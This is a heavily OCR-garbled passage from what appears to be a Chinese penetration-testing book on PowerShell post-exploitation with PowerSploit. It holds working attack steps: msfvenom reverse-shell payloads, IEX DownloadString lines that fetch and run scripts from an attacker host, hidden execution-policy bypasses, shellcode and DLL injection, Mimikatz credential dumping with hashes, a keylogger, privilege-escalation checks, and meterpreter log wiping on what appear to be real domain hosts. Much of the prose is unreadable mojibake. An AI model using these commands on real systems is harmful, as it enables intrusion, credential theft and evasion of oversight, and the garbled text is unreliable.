o MRV EIERF. ZSRILTEHE.

o XAFFERIMeterpreteriEiz.

PS8 C:\Windows\system32)> net user sonicwalll
he command completed successfully.

PS C:\Windows\system32> logoff

E15-139 MifrzaiainfARKS

meterpreter > clearev
[*] Wiping 0 records from Application...

[*] Wiping 2 records from System...
[*] Wiping 1 records from Security...

E5-140 il E=E
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£

msf exploict( ) > sessions

Active sessions

Type Information

meterpreter x86/win32 MEDABIL\MA1384 § PAVMSEF21
meterpreter x86/wind2 NT AUTHORITY\SYSTEM @ PAVMSEP131
meterpreter x86/win32 NT AUTHORITY\SYSTEM @ PAVMSDI142
meterpreter x64/winé4 MEDABIL\sonicwall § PAVMSXD30
meterpreter x64/winé4 NT AUTHORITY\SYSTEM § PAVMSADG4

exploit( ) > sessions -K

Killing all sessions...

10.51.0.21 -~ Meterpreter session 1 closed.

10.51.0.131 - Meterpreter session 2 closed.
10.51.0.142 -~ Meterpreter session 3 closed.
10.51.0.30 - Meterpreter session 4 closed.

10.51.0.64 - Meterpreter session 5 closed.

BE5-141 XFRFEMShERZ

Connection

«30:443
.30:443
+30:443
«30:8443
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6.1 PowerShellfzA

E3EMiRF, PowerShel EAEERIEMN—NAT, mMBEARbEFF]
Az, CEAES A AELEENREHIMEEHEEWindowsRANEEN. —BIGHES
AIE—EHEN D8, 5ie FEiPowerShel IASE (ps1) ZEEFH
17, EETASEHESIT, B EERENTRET. XEEREEPowerShell
(OABIRSXN ZARSASPRET, AKRGEEENEEETER, FIFBPowerShellfy
EEER, WEETLEEEmAE RS A.

FEHlPowerShell lE TEBLL X L.

e PowerSplit: XEMZPowerShellBih T B/ ;2 E=AMIPowerShell[5
HERRAEER, SRETEERN. 55U, SIS BANERE

e Nishang: ETFPowerShell Uz EMXERATE, £ 7ESE. HAFS
ffPayload, B&TEAINT. FERICR. DNS. R HSFMA,

e Empire: ETFPowerShel fUiiZZHIAS, LN EIFEIREFSHNR
IREIHER, SRTRUMSREN BNEMRER, SRR, SREHE. SAkE
.

e PowerCat: PowerShellfifINetCat, BEMEBTETN "wH1ET]" =
E, CREEMTCPAIUDPEENSTIREHIE. B SHEMTREATIEER, &L

EHARLIZMAREEE.
6.1.1 PowerShellf&ast

Windows PowerShel E—fapS{ToMNSEFAEAINSE, EREEE T2
B Windows}iiAsF (Windows 7/Windows 2008 R2ZFNESHRA) , FHdiTAP
AR SE I LARIA.NET FrameworkJ38AThEE. —BIEHEE I LME—&UTEN E
B8, filsiE FEPowerShellfIAI A (ps1) REEFHIT, EELASE
HEShT, B ERERTPET, BalUEPowerShell B ST
cmd.exefV# 7E.

PowerShellFE NETIMERSZ IS, FERISZENETXS:, HaliEtE, FEHE,
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BILMZE RIS ShellzE. PowerShel XSS IFERS | KT, FEFHHRA
— N EERITEENNBEETE. PowerShellGLA MXI LML,
e Windows 7L\ FRVRERAENINZE.
e PowerShel AR LUE{TEREF, AEESAHE.
o DN B— 1 ESF T PowerShellfHIAF 47,

o HEIREZ T E&#EETFPowerShell A
‘ l . o RBLZEHHEFABERNEIPowerShel IfY; AL,
J).N o cmd.exelBESWIEINLElT, {BEPowerShell A<,
: o o] EEEEMER.
% £/ \WindowsZ4: FPowerShellhRZ, 2NE6-1F 7.
=z :
v BB lPowerSheuﬁzs EETHE
;§ Window 7/\ggggows Server 20 SIUFHEH30 . 4.0
iE " :
N | Weee e 30 BTLLFHERAO
3 Windows 8.1/Windows
i Server 2012 R2 49 &
i1
=]

B6-1 EMNRERSAINAIPowerShellifas
NN AL\ Get-HostaEZ $PSVersionTable. PSVERSION& S EZEPowerShell
I WA, aNE6-2Ff7-.
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&L
S

'S C:\Users\shuteer

t. InternalHostUserInterface
nsolefost*ConsoleColorProxy

ysten Management. Automation Runspaces. LocalRunspace

PS C:\Users\shuteer) { PSVERSION

Major Minor Build

] 1

E6-2 EFPowerShellif=~
6.1.2 PowerShelllYEAHES:
1.PS13 44

—/PowerShel [IAEIHE—NMEBRAAN Y, XMNHEEET—FF
PowerShellfss, 81 a<$EBAMYA—T, XT4HHEPowerShel [EIARTSCAIZ
%, EREEEEN L PS1HY EBA.

2 TSRS
ABIEEERARIHAT, PowerShellE—MATHERS, BUABRT, XA
TR IR,

TEPowerShellIATLERTE, oJLUER FEAcmdletiSRELRIAIHT
i

¢ Get-ExecutionPolicy.

e Restricted: HIAAEEET (BUAIRE) .

e RemoteSigned: ZAthGIFERIAAI Uz, BN ETENHEATEEET



[l

—-o%ﬂi'fﬁ)lﬁ}ﬁmﬁﬁ%" TEDW oo =

(BB BEERERI) .
o AliSigned: {REHIAHZHEENAHESENA8EETT.
e Unrestricted: FeiTFrERIscriptiziT.
EEAALUER FERcmdletdiy$i8 E PowerShelfHATHRER.
Set-ExecutionPolicy <policy hame>
3.1E1TRIA
B7—"PowerShel HIA, HEANCBNBEENES, fid, (BT
— B2 Ra.psTHHIA, oJLUEANC: \Scripts\a.ps1. SARIGISNE, a1EEPowerShell
AR HRNESERT, IAERSIR ™G aEEENMASUYZEIelE
17, W\a.ps1RUBTASEINEY “\" , XFAWELinux N TShellEIARGiE—+E.
AEE
EENFRAES — HSHEREAS— HSHaAN, BT aSZEREE
5 () EHE
F IR NSRRI TN, BigEIERrE BanaT+a,
PL p" LR, Sl Fr.
PS> get-process p* |stop-process
6.1.3 PowerShelllyE A<
1.2A50R
TEPowerShell &, 2 “emdd@S” AE “emdlet” , HipZH0EYS—
H, #FE "ohE-2iE" [, WNew-ltem, BHEEES—HE A, New, Get,
Remove, SetZ, HBIGIE—IEEEEWindows CommandfILinux Shell, {Get-
ChildltemarZ&-EAdiralstyn], MmEPowerShellipS AX S5 ANE.
TERLCUHRER G EPowerShellén SHIEARX.
o FEEESF: New-ltem whitecellclub-ltemType Directory.
o FEN4: New-Iltem light.txt-ltemType File,
o MEEE = Remove-ltem whitecellclub.
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o TTRMARNE: Get-Content test.txt.
o BBV ANE: Set-Content test.txt-Value"hell, word! .
¢ iIBINIAZE: Add-Content light.txt-Value”i love you".
o ;G E: Clear-Content test.txt.
2. BT
el LB WindowsRigiZa i A\ PowerShell, #H A\ PowerShellgis 1T,
A helpiS B MsE, WE6-3F7~.

Microsoft Windows [RRA 10. 0. 14393]
{¢) 2016 Microsoft Corporation. TREEFIB A,

F'F-T‘ pOwers shell

Corporation. fRERBIAH .

PS C:\Users\shuteer> help

T
Windows PowerShell ZEBhFH

rE |
H B * Vindows PowerShell B9 cmdlet B#EELE)ZCRD.

ows ]:':'_.q::;nz'f}'le'lll_fn[:'ﬂh_" {1487 Windows PowerShell #Y cmdlet.
RER, AR
ows PowerShell 13 ERITT R Tk to

El6-3 EFPowerShellfIEEE]

MR Eiz{TPowerShel A2, WRAEERIRERestricted HREHIAL

Unrestricted, FTLAESIER, MIBERA—LHESN FISRIEHA, B0 M Emx

=i,
o ST A RINGT (RNE6-4Ff7=)
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oo ps1 ZBHMESEE, FECMDINE T, EERRSHAIMHUTZHE,
LIRSS

PowerShell.exe-ExecutionPolicy Bypass-File xxx.ps1

o AitfSpEssd URITIIA

PowerShell.exe-ExecutionPolicy Bypass-WindowStyle Hidden-NolLogo-
Nonlnteractive-NoProfile-File xxx.ps1

o FIEXTEITAZPS 1 IASEH R T

PowerShell.exe-ExecutionPolicy Bypass-WindowStyle Hidden-
NoProfile—Nonl IEX (New-ObjectNet.WebClient) .DownloadString

( mox.ps1” ) ; [Parameters]
NEX DA SHISH0H TR, A M.
e ExecutionPolicy Bypass: SEdH{TZLHEE, XM2HEEEE, TEA

15, PowerShelllUZ£EEEHIE 7 PowerShel I RetPEiTanSH L. BTiRE

X2, ST EE— N L2EPN. EEElES, EXERsT
PowerShellHIAREREFREXMEEL.

e WindowsStyle Hidden: &g,

¢ Nologo: BB rhtlirERIPowerShell.

e Nonlnteractive (-Nonl) : Iz B&E5,, PowerShellF BRI ERY

"t iR

e NoProfile (-NoP) : PowerShel i&HI&AIIE AR RNEE 4.

e Noexit: HifT/EARHShell. XEFERBRICRFHANIEEEE.,

PowerShel HIATEENAIE R NLAEEN T, XEFAILGER BA=M75E
LT 2ERE, imfTPowerShel IR, WE6-4ff7.
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PS C:\lUsers shuteer\Desktop> *"hello hacker"’ Jtest.psi
PS C Nisers\shuteer\Desktop) .\test.psl
z

ff C:\Users shuteer\Desktop\test.psi, : t Ke ¥ ®
o
08 | 1 FH: 1
¢ .\test.pal <L
+ Categoryinfo : NotSpecified: () [], PSSecurityException
¢ PullyQualifiedErrorid : RuntimeException

PS C:\Users shuteer\Desktop> PowerShell.exe —~ExecutionPelicy Bypass -File .\test.psi
hello hacker
PS C:\Users shuteer\Desktop)> _

E6-4 SEid w25
6.2 PowerSploit
PowerSploit2—3E T PowerShellfJf5i31% (Post-Exploitation) HEZ24K

%, BaRZPowerShellBEHHA, BMNEERTEETIEEMER. SERIEA.
PR4EE, HGitHubittiiShttps: //github.com/PowerShellMafia/PowerSploit.

6.2.1 PowerSpIoitE’{]%’Z%
XEj@EidKali FEPowerSploit, B/ciAgitinS NEERFER, WE6-5FT

7TNo

:~# git clone https://github.com/PowerShellMafia/PowerSploit
Cloning into 'PowerSploit
remote: Counting objects: 2960, done.

remote: Compressing objects: 100% (17/17), done

remote: Total 2960 (delta 15), reused 16 (delta 7), pack-reused 2936
Receiving objects: 100% (29660/2960), 10.18 MiB | 14.00 KiB/s, done.
Resolving deltas: 100% (1715/1715), done.

B6-5 TEPowerSploit
EEOAUTSSISApachelRS, E6-6F .

ould not reliably determine the ser

1 for ServerName

E6-6 FHiZApachefRsE
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BRI UEEE Evar/www/htmIBR, EE—NE50RSEE, N
T FTFFhttp://192.168.31.247/PowerSploit/, 3NE6-7F7~.

Index of PowerSploit x| http//192.1 S0asprapx X &

erSploit

B Most Visited v [l Offensive Security N\ Kali Uinux N\ Kali Docs "\ Kall Tools
Index of /PowerSploit

Name Last medified Size Description

& Parsnt Directory
) AntivirusBypass/  2017-06-21 09:25
3 CodeExecution/ 2017-06-21 09:25

@ Exfiltration/ 2017-06-21 09:25
[?) LICENSE 2017-06-21 09:25 1.6K
) Mayhenv 2017-06-21 09:25
() Persistence 2017-06-21 09:25
[?) PowerSploiLpsdl  2017-06-21 09:25 5.2K
[# PowerSploitpsml  2017-06-21 00:25 135

[?) PowerSploit pssproj 2017-06-21 09:25 15K
[# PowerSploitsln -~ 2017-06-21 09:25 971

{2 Privesc/ 2017-06-21 09:25
(%) README md 2017-06-21 09:259.9K
) Recon/ 2017-06-21 09:25
€ ScriptModification/ 2017-06-21 09:25
) Tosts/ 2017-06-21 09:25

Apache/2.4.25 (Debian) Server at 192.168.31.247 Port 80

El6-7 I HEERRSESE
TEtRIEE6-7/4EPowerSploitZEHRANTHAE, W FF~.
e AntivirusBypass: SRS THNIEFIHLE.

e CodeExecution: TEBREH EHTHRES.
e Exfiltration: BirEil LAEEEETE.
e Mayhem: WEFEEHIAMERIA,
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e Persistence: FIJHIA (FAMHEE) .
e Recon: LABRENLIBMRIHITARAMESEME.

e ScriptModification: 7EBRIH L BIFREESBIA.
6.2.2 PowerSploitIA I SL AR

PowerSploit FNUZEKEHAMELSEE, ETHRIECER, AalgidE— N
FERATFANNG, FRAANS ANE— S AR SHEA, E5thallA
S EAthEIA,

6.2.2.1 Invoke-Shellcode

CodeExecutiontit FJInvoke-ShellcodeflAE AT ShellCodefi A5

TERFHEIDEAtb PowerShelldr, FENMEFHIE BIIGEMeterpreter Shell5iZ.
1. B TShellCodez3#Meterpreter Shell

BISSEMSFEFEHreverse_httpstRbut 758, IRENNEFUES-8f7r.

Name

EXITFUNC
LHOST
LPORT
LURI

Exploit target:

er on https://192.168.31.247:4444
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E6-8 i=mE T
{EmsfvenoménS4ER—1 PowerShel AR T, WE6-9Fx-.
msfvenom-p windows/meterpreter/reverse_https

LHOST=192.168.31.247 LPORT=4444-f powershell-o /var/www/html/test

https LHOST=102.168.31.247 LPORT=4444 -f powershell

ayload

El6-9 ERkPowerShellflEARS
EEE Bt PowerShel MALI NS FEIZIMA, AE6-10F7r.
IEX (New-Object Net.WebClient) .DownloadString
("http://192.168.31.247/PowerSploit/CodeExecution/In voke-Shellcode.ps1™)

ttp: 192,160 .31, 247 Powerploit - CodeExecut ion Tnus

E6-10 F&Eilnvoke-Shellcode
EEMA\UTHSTEAD, NE6-1157.
IEX (New-Object Net.WebClient) .DownloadString
("http://192.168.31.247 /test")

huteer? [EX (New—Object Met.WehClient).DownloadString{"http:/-192.168.31.247 test")

huteer?>

Ee6-11 FEAS
EAEPowerShel MEfTLA M, WE6-12F7m.
Invoke-Shellcode-Shellcode ($buf) -Force

PS C:\lUsers shuteer?> Invoke-Shellcode —-Shellcode ($buf> -Force

E6-12 iziTAH5
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E6-127h "-Force” HNEREARRER, BEiEHNT.
MEREIMSFRUMSIFRE &, AIIEEkERIT Y, WE6-13f7s.

3zz) Staging xB6 p)

2017-86-21 11:11:9

El6-13 F38nln
2 I5TE#HEE A\ ShellCode/z5¥Meterpreter Shell
EFESSE it PowerShel M@ A LL s, W1E6-14F 7.
IEX (New-Object Net.WebClient) .DownloadString
("http://192.168.31.247 /PowerSploit/CodeExecution/In voke-Shellcode.ps1™)
IEX (New-Object Net.WebClient) .DownloadString
("http://192.168.31.247/test")

s'shuteer? [EX(Mev-Object Met.\UebClient).DownloadString("http://192.168.31.247/PoverSplo it/ CodeExecutions/Invel

re'shuteer) [EX (New-Object Net.MebClient).DownloadString("http://192.168.31.247/test™)

E6-14 THPowerShellil=
EEHINGet-Processip ST Epsin SER LANATE, WE6-15fT.
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PS C:\Users shuteer> Get-Process

andles NPMCX) PHCKD WSCKY UMM CPUCs) ProcessNane

198 31688 340872 190
800 22 58312 92876 268

.72 2345Explorer
.64 2345Explorer
.05 cnd

.82 cnd

.82 conhost

.83 conhost

50 conhost

.22 conhost

.82 conhost

.85 conhost

21 2 2012 2968 34
21 y 2004 2928 34
15 1436 4672 418
15 3 1460 1624 18
59 4380 10248 56
58 3 1940 18968 54
15 1436 4632 418
59 1340 18204 64

Poocoseesseoe

Ee6-15 E555%#E
HEMAL TaStE— e, XEEF—NMNEER, FHEERENR
B, BBIAGet-ProcessipSERIE, FILIBRIZ T —1IDA5032, B
notepadfJi#tE, WIE6-16F7.
Start-Processc: \windows\system32\notepad.exe-WindowStyle
Hidden



e

< EREMEENWE" FFhicoe =

7o

sers \shuteer) Start-Process c: \windows\system32\notepad.exe
sers\shuteer) get-process

BN ADVDS O WNWRWAWRWAWWN

~

nvjwlan

USCKY UNCHD

34072
92856
2968
2928
1672
1624
18248
10968
4632
18276
1692
11868

2345Explorer
2345Explorer
cnd

cnd
conhost
conhost
conhost
conhost
conhost
conhost
conhost
conhost
conhost
conhost
C

cSPrs

dun
explorer
Idle
lsass
Ism
msdtc
nysqld
nginx
nuinx

32 notepad

E6-16 AN

php-cgi
hp-cgi

EEMNLITGS, FH8Invoke-ShellcodefliAFmH#iE T, W

Invoke-Shellcode-ProcessID 5032-Shellcode ($buf) —Force

WindowStyle Hidden

6-17FF

[UAOKE g pe | JCOYyG

proC

BEl6-17 #EEAN

[EIRIMSFSITRE NMIIEERSEMRIN Y, dE6-18f7Rr.



handler on https://192.168.31.247:4444

4444 rxrd ing request from 192.168.31.22; (UUID: k22lono3) Staging x86 p

n 2 opened (192.168.31.247:4444 -> 192.168.31.22:51573) at 2017-66-22 68:18:1

pstarpretar >
Bl6-18 R38N

6.2.2.2 Invoke-DllInjection

TEf#ERCode ExecutiontEt RIS —NiIAInvoke-DLLInjection, EE—
OLLENKIBIA.

EERAES NEHA, BMAT®S, NE6-19F7.

IEX (New-Object Net.WebClient) .DownloadString
("http://192.168.31.247/PowerSploit/CodeExecution/Invoke-
Dllinjection.ps1")

PE C:\Users \shutoor) TEX (Nouw-Object Net.WebClient).DownloadString< httpi//192.168.31.247/PoverSpleit/CodoExocut ion/Inve

ke -D111n Ject
PS C:\Users\shut

E6-19 R&invoke-Dllinjection
RIEEERLL TS EKalisp AR —MDLUEARZAE, 21E6-20FT7x.
msfvenom-p windows/meterpreter/reverse tcp lhost=192.168.31.247
" |port=4444-f dll-o /var/www/html/test.dll

mmﬁmeMM"m%»mvn-}

2

/meterpreter/reverse tcp Lhost=192,168.31.247 lport=4444

choosing Msf::Module: :Plz ::Windows from the payload
3 Arch: x86 from the payload
, outputting raw payload

El6-20 £akDLLENEAE
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iBARtest dil HERIBHRRSENCER, MMBEEs— M FHZHTDLL
N, XERJLMEENEMRGE, R T GSHE— % anotepad. exelisiENH
.

Start-Processc: \windows\system32\notepad.exe-WindowStyle
Hidden

RISERLITHSHTEN, ME6-21AT7r.

Invoke-Dllinjection-Process|D 2000-Dll c: \test.dll

PS C:lsers shuteer?> Invoke-Dllinjection —ProcessID 2088 D11 c:stest.dll

Size(K> ModuleName FileName

28 test.dll C:\test.dll

S C:\lsers shuteer> _
E6-21 DLLEFF GERE
PEREIMSFAITRE, BiEfAreverse teplitfiziad, AIEXRIE
Yy, WEe-22fm.

msf exploit( ) > run

*] Started r

> 192.168.31.22:51576)

E6-22 AL
6.2.2.3 Invoke-Portscan
Invoke-Portscan2Recont&tt NI—MNHIA, FERTFROARE, Rk
bR, FERSEEERL TS A, NE6-23fn.



IEX (New-Object Net.WebClient) .DownloadString
("http://192.168.31.247 /PowerSploit/Recon/Invoke-Portscan.ps1™)

s'shuteer) IEX (Meu-Ohject Met.WebClient).DownloadString('http://192.168.31.247 PowerSploit/Recon/Invoke-Ports

PS C:\lsers'shuteer)
El6-23 TEilnvoke-Portscan
ARIEER T aSEHTIaE, SRNE6-24F 7.
oY Invoke-Portscan-Hosts 192.168.31.1, 192.168.31.247-Ports "80, 22,
3389"

PE C:\Wsersshuteer> Invoke-Portscan -Hosts 192.168.31.1.192.168.31.247 -Ports “80.22,3389"
92.168.31.247

losedPorts
ilteredPorts :
inishlime

clos cdl’url.
ilteredPorts : {3
inishTime : 20176-22 21:30:38

EREHEENE Fedtcoe =

E6-24 #HTEE

2

o 6.2.2.4 Invoke-Mimikatz
Invoke-Mimikatz2Exfiltrationf&b FI—MNHIA, BRIHEERABIRARS
EHEE Y. FEREERU TGS TEMEE, ME6-25Tr.
IEX (New-Object Net.WebClient) .DownloadString
("http://192.168.31.247/PowerSploit/Exfiltration/Invoke-Mimikatz.ps1")
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E6-25 REiInvoke-Mimikatz
RIEHATLA T apSRIE], EERME6-26/7m.
Invoke-Mimikatz -DumpCreds

PS C:\Usersshuteer> Invoke-Mimikatz -DumpCreds

Lannnn . mimikatz 2.1 (x86> built on Nov 18 28016 15:30:40
a8~ #. YA La Vie, A L’Amour"
B 7/ \NHBE /% nn
N/ un Benjamin DELPY ‘gentilkiwi' ¢ benjaminfgentilkiwi.com )
‘HE v uR’ http://blog.gentilkivi.con/ninikatz {oe.eo0)
‘Hunnn’ with 20 modules »* = w/

imikatz<{powershell) ¥ sekurlsa::logonpasswords

Authentication Id : 8 ; 741317 (PPPBOOAN:PBBH4fcS)
Interactive from 1
: shuteer
: WIN7-X86
ogon Server : WIN7-X86
Logon Time T 2017/6/5 22:18:52
: §-1-5-21-3706207507-3506404812-2082115619-10801

(000108081 CredentialKeys

* NTLM : 31d6cfeBd16ae931bh73c59d7eBcB89ch

» SHA1 : da3%a3eeSebb4bBd3255hfef95601890af d80709
[(09B8A0A3 1 Primary

» Username : shuteer

* Domain : WIN7-X86

»* NTLM : 31d6cfeBd16ae931bh73c59d7eBcBB89ch

» SHA1 : da3%a3eeS5eb6b4bBd3255hfef95601898af d80709

B6-26 $MEXHsah
XBEFTE—R, MERMimikatzTE—H, REBRIMimikatzfrERERIERE
REEHEAIUR.
6.2.2.5 Get-Keystrokes
Get-Keystrokes2Exfiltrationt&i NAJ— NI, %Tﬁgﬁﬂi ThEeiEY
SR, MUEEEMACR, EECREMIREER, AEECRFMIRE, SEik
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ReLEERNEEET. EEEERATHS NEHA, WE6-27F 7.
IEX (New-Object Net.WebClient) .DownloadString
("http://192.168.31.247/PowerSploit/Exfiltration/Get-Keystrokes.ps1")

E6-27 REGet-Keystrokes
FERUTHSHERECE, XEMA "fwyily” XN FEEHRML—T,
YEN NE6-28F.

Get-Keystrokes-LogPath c: \test1.txt

| testlixt - iDHE - [y —
I#(F) ®|(E) B\XO0) =ZENV) =|EIH)
"WindowTitle”, “Time”

” > ”3{ t{z ~3 ;X*” ”2017/6/22 21:48:38”
<Backspace> Y FE”, “2017/6/22 21:48:39”
“<Ctrl>”, ’2‘({&2 ’”” 79017/6/22 21:48:39”

> TS+ - 3 ; *” ”2017/6/22 21:48:39”

f” “9017/6/22 21:48:40”

XF", "2017/6/22 21:48:40”
XF, "2017/6/22 21:48:41”
XF”, "2017/6/22 21:48:41"
XF", "2017/6/22 21:48:41"
XF”, “2017/6/22 21:48:43"

El6-28 MMEURERICHE

. %ﬂmﬁ:mmmw TEBW oo =

% % W N
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6.2.3 PowerUpItsbfifz
PowerUpZEPrivesciH FII—MNEIA, TheiEZsaR, MEAZAXRIKE
RENWindowsiRSSTmiRiH TR AISEFRRIAS.
BE, EWindows Fe[LUBE NIZBREIEATIR, B2, BIIEERNE



—-%Eﬁﬁ)lﬁ}ﬁmﬁﬁ%" TEBW oo = }-—

TotBid Nizm R MRS ERER, X R REERN AEsSAIWindows RS
B, SEFBAEINRERRS, BIEMRNRSRESRIRNG, EREILITE
BT AR, FEIE1SHESENESSSR, HimEidiRssa=CIENaE
1.

B5CRERPowerUp NG WRLLELR, HE6-29F 7.
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Line
Line
Line
Line

Line
Line

Line

S18:

529:

562:

604:

T42:

940:

1017:
1138:
1253:
1431:
1473:
1482:
1528:
1536:
1572:
1579:
1644
1646:
1660:
1668:
20392
2200;
2286
2435:
24801
2562:
2695:
2754:
2005;
2870:
2936:
2979:
3183:
3326:
3333
3Ns:
3400:
3450:
351%:
356281
3568:
3608:
3722:
3727
3757:
3761:
Jeél:
674
3953:
4008:

function struct
The ‘struct® functiom facilitates the creation of structs entirely in
A hashtable of fialds. Use the 'field’ helper function to ease
PowerShell purista may disagree with the naming of this function but
function Get-ModifiablePath |
function Get-Cur T
function Add-ServiceDacl {
function Set-ServiceBSinPath (
function Test-ServiceDaclPermission |(
function Get-ServiceUnquoted |
$0ut | Add-Member Noteproperty ‘Abusefunction' “Write-ServiceBinary
function Get-ModifiableServiceFile (
S0ut | Add-Member Noteproperty ‘Abusefunction’ “Install-ServiceBinary -M
function Get-ModifiableService |
§0ut | Add-Member Noteproperty ‘AbuseFunction’ “Invoke-ServiceAbuse -Name '§
function Get-ServiceDetail |
funotion Invoke-ServiceAbuse |
Abuses a function the current user has configuration rights on in order
and the Set-ServiceBinPath function is used to set the binary (binPath) for
function Write-ServiceBinary |
function Install-ServiceBinary (
function Restore-ServiceBinary |
function Find-ProcessDLLHijack (
function Find-PathDLLHijack |
funarian Writa-HijaakD1l |(
function local:lnvoke-PatchDll (
function Get-RegistryAlwaysinstallElevated |
function Get-RegistryAutologon (
function Get-ModifiableReglistryAutoRun (
function Get-ModifiableScheduledTaskFile |
function Get-UnattendedInataliFfile |
function Get-WebConfig {(
function Get-ApplicationHost |
function Get-SitelistPassword |
PowerSploit Function: Get-SiteListPassword
fusction that takes advantage of McAfee's static key encryption. Any decrypt]
function Local:Get-DecryptedSitelistPassword |{
function Local:Get-SitelistFields {
function Get-CachedGPPPassword |
PowerSploit Function: Get-CachedGPPPassword
function local:Get-DecryptedCpasaword |
function local:Get-GPPInnerFields (
function Write-UserAddMs] (
This function can be used to abuse Get-RegistryAlwaysInstallElevated.
funotion Invoke-AllChecka |
Runs all functions that check for various Windows privilege escalation oppor]
§_ | Add-Member Noteproperty ‘Abusefunction’ SAbuseString
$0ut | Add-Member Noteproperty ‘AbussFunction’ “Write-UserAddMsI®
S$FPunctionDefinitions = #(
§Types » $¥functionDefinitions | Add-Winl2Type -Module $Module -Namespace ‘PowerUp.Na

id {

5

HATXBEEEATUREN, I EEEANImport-Moduleds$NE PowerUp

El6-29 PowerUpiEih

AR, ANEI6-30Ff.



PS C:%> Import—Module .“Powerlp.psl

PS C:\>

El6-30 ki AiEr
BN SHOILUBE TabiEkBTihE, NREEEXZMEAEME, o]
LU N get-help [cmdlet] -fullds$ER, Htillget-Help Invoke-AlliChecks-full, 40l
A E6-31Fr.

CHHEUEEH TR o =

2
S



{ﬂﬁﬁ%ﬂiﬁ%"m%»mvns}

$ C:\) get-help invoke-allchecks -full

Invoke-Al11Checks

Runs all functions that check for various Windows privilege escalation opportunities.

Author: Gharnjly
License: BSD 3-Clause

i Invoke-AllChecks [-HTMLReport] [{CommonParameters>)

~HTMLReport [{(SwitchParameter>]

Switch. WUrite a HTHL version of the report to SYSTEM.username.htnl.

False
naned

false

B 227: verbose. Debug.
Errorfiction. ErrerVariable. Warningfiction. WarninglVariable.
OutBuffer F0 OutVariable, B 5iF it
“get-help about_commonparameter

PS C:Invoke-AllChecks

E6-31 EEIERANFMIEA
FEXPowerUpE FAVEHHT A,
1.Invoke-AllChecks
ZiERS B TPowerUp FEABRIHIASKEE BIREA,
TR, dE6-32F.

mBLA NS R
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PS C: \> Invoke-AllChecks

C:\) Inveke-AllChecks

(=] Running Invoke-AllChecks

[+] Current already has

user local adainistrative privileges?

(=) Checking for unquoted

service paths

ServicoNane 234
Path 1 C
Modif LablePath :

SafeSvc
Progran Piles 234580t 45PCEafe \23458afeSve .

~fippendDatafddSubdirectory; Modif iablePath~

exe

'erniss ions
ated Users)
LocalSysten

: Write-ServiceBinary ~Nane

'23458afeSvc’ ~Path <(HijackPath>

True

23458af efve
Progran Files
B(Pernis
Local$
Vrite-
True

ServiceNane
Path

: 234580f t \2JM5PCEaf e \2345
Mod {f LablePath :

Systen.Object(]; Modif fablePath=C:\;

SafeSvc.exe
iens
sten

‘23458afeSvc’ —Path <

erviceBinary —Nane ijackPath>

2.Find—PathDLLHijack

Ident ityReference *NT AUTHORITY \Authent ic

Ident ityReference *NI AUTHORITY \Authent icated User

XA TR E 2480 % PATH % HBBE B RERBF LIS, BMALTGS

BIETHvTIR SR, WE6-33Fr.
PS C: \>Find-Pathdllhijack

IPE C:) Find-PatMllhijack

Pernissions ModifiablePath ldentityReference
Generichll
Readfttributes,
venerichll

Vindows \systend2 Window. .
1 Windows \eysten32 \Wind
Vindow
Vindows

ReadContr.
BUILT INAdnini
BILTINAdnind
BUILTINAdnini

(Readfittributes, Re
GenericAll
KRoadfttribute

dContr

BUILTINAdninistrators
BUILTIN\Adninistrators

tem32\Wind. ..
Wind. ..

Generichll

i Re

dittribute

BUILTINAdninistrators
BILTINAdninistrators

ReadContr. BUILTINVAdninistrator

s \Systen32 \When

end2

Mbem
GenericAll enl2 Window

{Readfttributes,

end2 \Window.
en32 Window

WILTINAdninistrator
BUILTIN\Adninistrators

ZSEMAIEER

ReadContr. .. en32 \Window

Bl6-33 TR
3.Get-ApplicationHost
ZAEhETHI 24t EiapplicationHost.config AR E NN IR FitANRE
MBERIZEB, PUTAERNSSW TR
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PS C: \>get-ApplicationHost
PS C: \>get-ApplicationHost |[Format-Table-Autosize # 538~
4.Get-RegistryAlwaysinstallElevated
ZiERFEA TR EAlwaysinstallElevatedi FIIEIMESHIRE, WREHIT
B, BEREMSIUFZELISYSTEMBSRIZTH, HTziEia<l M.
PS C: \>Get-RegistryAlwaysinstallElevated
5.Get-RegistryAutoLogon
ZHER AT RMWinloginiFiERAutoAdminLogonI i AHIZE, o=
TAENANBREIEE, PUTZERISSM M.

PS C: \> Get-RegistryAutoLogon
6.Get-ServiceDetail

ZRERBETIRERERSHES, BMAL T aSRIsTmzsdl, ME6-34fT

TR
PS C: \> Get-ServiceDetail-ServiceName Dhcp #3XEVDHCPRSHIFH

miF
i)

=

PS C:\> Get—ServiceDetail —-ServiceName Dhcp

ExitCode : 8@

Name : Dhcp
ProcesslId : 948
StartMode : Auto
State : Running
Status : OK

El6-34 FFENDHCPERERIEERSE
7.Get-ServiceFilePermission

ZRER TR E LA PR LIRSS A B RE NEXRERIT AT, 3
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(IPIETX AL, @A T a<SRInT Tzttt ME6-3567r.

PS C: \> Get-ServiceFilePermission

PS :\> Get-ServiceFilePermission

E6-35 #ER[ SRR
8.Test-ServiceDaclPermission

HIERETHRERA BIRSS, A= XIXEF TR e, Rl
B8, NREZESHSR, HUTZERIIHS .

PS C: \>Test-ServiceDaclPermission
9.Get-ServiceUnquoted

ZIERBATRERSER, REESSEEENTES ISHIRSER.

AN T WindowsfI—NBiETmiR, B 4SS SR, Windows API
SEBEBEARNER, THEXE I EERT, BN AEESERARANER, thil
C: \program files\hello.exe=##fZE/9C: \program.exef1C: \program files
\hello.exe. AL TSR TZIELR, G1E6-36F7T.

PS C: \>Get-ServiceUnquoted

C:5; ldentityReference ~NT AUTHORITY \Aut hent ic

‘23458afeSvc’ -Path {HijackPath?

PCSa

nce=NT AUTHORITY Authenticated Users}

* ~Path <

El6-36 tE=EREENRER
10.Get-UnattendedInstallFile



?ﬁﬁﬁ?ﬁﬁuTP@,ﬁﬁﬁé TEXEV{E, RSV AENGEEE
EESRE. XU

e C: \sysprep\sysprep.xml

e C: \sysprep\sysprep.inf

e C: \sysprep.inf

e C: \Windows\Panther\Unattended.xml

e C: \Windows\Panther\Unattend\Unattended.xml|

e C: \Windows\Panther\Unattend.xml

e C: \Windows\Panther\Unattend\Unattend.xml

e C: \Windows\System32\Sysprep\unattend.xml

e C: \Windows\System32\Sysprep\Panther\unattend.xml

MTZER <A R AT,

PS C: \> Get-UnattendedInstallFile
11.Get-ModifiableRegistryAutoRun

ZIER T RE B EHIN BEFEEATINEREE, ARREXSFIREF]
ENIEFER. HREISIIEEEE LI TXE:

e HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

e HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce

